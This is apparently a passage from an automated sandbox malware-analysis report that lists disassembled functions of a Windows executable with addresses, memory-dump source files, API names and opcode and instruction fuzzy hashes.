                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 206b8dd2323f0c32a07340ca02c5d8af7a3d2d7b1f0478edb605941266a0e502
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9D51BF11B1CA4241FA78BABE591217AD690AF84BC8FD85234DE8D577D6FE7CE4024231
                                                                                                                                                                                                                                          Function 00007FF79D0734F0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: HeapProcess
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 54951025-0
                                                                                                                                                                                                                                          • Opcode ID: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
                                                                                                                                                                                                                                          • Instruction ID: f47ec831af270f05b4bc89ada63b615b456e4f62f57b2e9bccf4309233927e5c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 22B09220E0BA02C2EA183B796C8622862A5BF48700FD80138C09D45330EE2C24E65B20
                                                                                                                                                                                                                                          Function 00007FF79D063610 Relevance: .3, Instructions: 327COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 5f2a1199bc68cddcf3b08423a19983f3afdde0c7e054ddf4c3f66946da216a90
                                                                                                                                                                                                                                          • Instruction ID: 21b4e777744c5c9c6b2c03794d01ffc0feac3fd8185735eda18a8d8fbb88bb0f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5f2a1199bc68cddcf3b08423a19983f3afdde0c7e054ddf4c3f66946da216a90
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 76D1C962B0CA4A45EB389EFD805027DA3A0EF05B58FD84339CE8D07695EF39D841C7A0
                                                                                                                                                                                                                                          Function 00007FF79D059870 Relevance: .3, Instructions: 287COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 069bb313382d3adaff5ac451a95cb3dd74dda88d5dd80987c9f0d361d468a953
                                                                                                                                                                                                                                          • Instruction ID: 89ba86e7c59884615edbe42be8ce2eb2a4c33b31c960afd85fdf383ba701c15c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 069bb313382d3adaff5ac451a95cb3dd74dda88d5dd80987c9f0d361d468a953
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 79C19C762181E08BD29AEB29E4794BA73E1F78930DBD5406BEF8747685C73CA414DB20
                                                                                                                                                                                                                                          Function 00007FF79D062C80 Relevance: .2, Instructions: 241COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 2617fd8e8f043c0917c6a56c5cabdca8b91b1cd744d59a3c82f21f331bc63c74
                                                                                                                                                                                                                                          • Instruction ID: 71a33566a23c0c211330fddfc678f0daf9e1a7a30a41d4e4d51e81f4a910a682
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2617fd8e8f043c0917c6a56c5cabdca8b91b1cd744d59a3c82f21f331bc63c74
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: FDB16A72A0CA85C9E774AF7DC05422CBBA0EB49B48FE84235DA8E47395EF39D451C760
                                                                                                                                                                                                                                          Function 00007FF79D06E5E0 Relevance: .2, Instructions: 198COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 73948b09e9837a821f5a3b4bbb106c60bdc2a86aaa707f45330964650836ebfe
                                                                                                                                                                                                                                          • Instruction ID: 8e66b5d8f58db6572288009d4db33fcbf6d7a11962ae8f1cd52e8db7ec7a8656
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 73948b09e9837a821f5a3b4bbb106c60bdc2a86aaa707f45330964650836ebfe
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3581C272B0CB814AEA74AB6DA440379AA91FB457D4FD48339EBDD43B95EE3DD4008B10
                                                                                                                                                                                                                                          Function 00007FF79D076488 Relevance: .2, Instructions: 183COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: e679193b4f92434cc558a1156ae9b62e5a6ceff8845571a1df199170146ecb9f
                                                                                                                                                                                                                                          • Instruction ID: 04af7278d41d37773dffecf098a0b5f19f0275c85dcb6e83c77da1c1156e7959
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: e679193b4f92434cc558a1156ae9b62e5a6ceff8845571a1df199170146ecb9f
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: E461C722F0C59246EBB4A97C885467DE691AF407A0FD4423DD6DFCABD5FE6DE8008720
                                                                                                                                                                                                                                          Function 00007FF79D061DC4 Relevance: .1, Instructions: 146COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
                                                                                                                                                                                                                                          • Instruction ID: c2e02a953fa77f2c9fcc2de43a0c5d90c0a2ae071f4c1add1068efb85b72ba0d
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DB517236B1CA5286E7349B7DD04023CB3A1EB54B58FA44331CE8D47794EB3AE842C791
                                                                                                                                                                                                                                          Function 00007FF79D0619B4 Relevance: .1, Instructions: 146COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
                                                                                                                                                                                                                                          • Instruction ID: fc3d862c61ca4385364dc5a3ee96739bc35e8ec64906f1c4ffec55ed7b175c1c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: D7518036B1CA5182E7349B7DC04026DB3A0EB48B68FE45231DACD57794EB3AE843C791
                                                                                                                                                                                                                                          Function 00007FF79D0621D4 Relevance: .1, Instructions: 146COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
                                                                                                                                                                                                                                          • Instruction ID: 534c4e7d609f6d55b1ade81b20a9ca524d0591cd24d64aca0ed75071838aeeaf
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 37514F76B1CA5286E7749F7DC040228A7A0EB54F68FE45231CE8D1B794EB3AE853C750
                                                                                                                                                                                                                                          Function 00007FF79D0617B0 Relevance: .1, Instructions: 145COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
                                                                                                                                                                                                                                          • Instruction ID: 16ad422c0a3f53c508f5d443377d79c61e79f1dcbfa580c9fcd74d9db4bbc576
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 34518136B1CA5186E7749B7DC04023CA7A1EB45B58FE45231CA8C17798EB3AE843C7A1
                                                                                                                                                                                                                                          Function 00007FF79D061FD0 Relevance: .1, Instructions: 145COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
                                                                                                                                                                                                                                          • Instruction ID: 5f7eaffc874aec691755deb8e25417a97b4976c720fbd5dd66812c116645c941
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 87515F36B1CA5286F7349B7DC44032DA7A0EB54B58FE44231CA8D177A9EB3AEC52C750
                                                                                                                                                                                                                                          Function 00007FF79D061BC0 Relevance: .1, Instructions: 145COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
                                                                                                                                                                                                                                          • Instruction ID: 647b1ffcb39cb750b70849619d5750111871a97a62d0b3c0835c42422a32e613
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 89515D36B1CA5186E7349B7DC04022CA7A1EB45B68FE44231CA8D577A4EB3AE853C751
                                                                                                                                                                                                                                          Function 00007FF79D065DA0 Relevance: .1, Instructions: 138COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
                                                                                                                                                                                                                                          • Instruction ID: 82b3df6389deeeae5163299cd31467557be23467d3f589feb45642e58d25b6d2
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5D41B5A2E0DE4A44EDB9DAFD050C6B8E6809F72BA0DD853B0DDD9537C2FD0D6986C121
                                                                                                                                                                                                                                          Function 00007FF79D069F10 Relevance: .1, Instructions: 126COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFreeHeapLast
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 485612231-0
                                                                                                                                                                                                                                          • Opcode ID: 4700cc90785079b7bb7a0602c46334a4ae9c6cdcc1bc7f68a8ec9cd099c19dcc
                                                                                                                                                                                                                                          • Instruction ID: 1f6374e95783af95a7d663bec6c262383c56d7ef92c46c0a9773d8524f8279cb
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4700cc90785079b7bb7a0602c46334a4ae9c6cdcc1bc7f68a8ec9cd099c19dcc
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 52412422718A4582EF18EF7ED91416DB3A1FB48FC4B899432DE8D97B58EE3DC4418300
                                                                                                                                                                                                                                          Function 00007FF79D068154 Relevance: .1, Instructions: 98COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
                                                                                                                                                                                                                                          • Instruction ID: 495bc200b99beff50b436b7be57197698f8c1ebb96e53f820d203bb700822f72
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3831C332B0CF4281E774AF79A84113EA694AB84B90F944339EACD67BD5EF3CD0128314
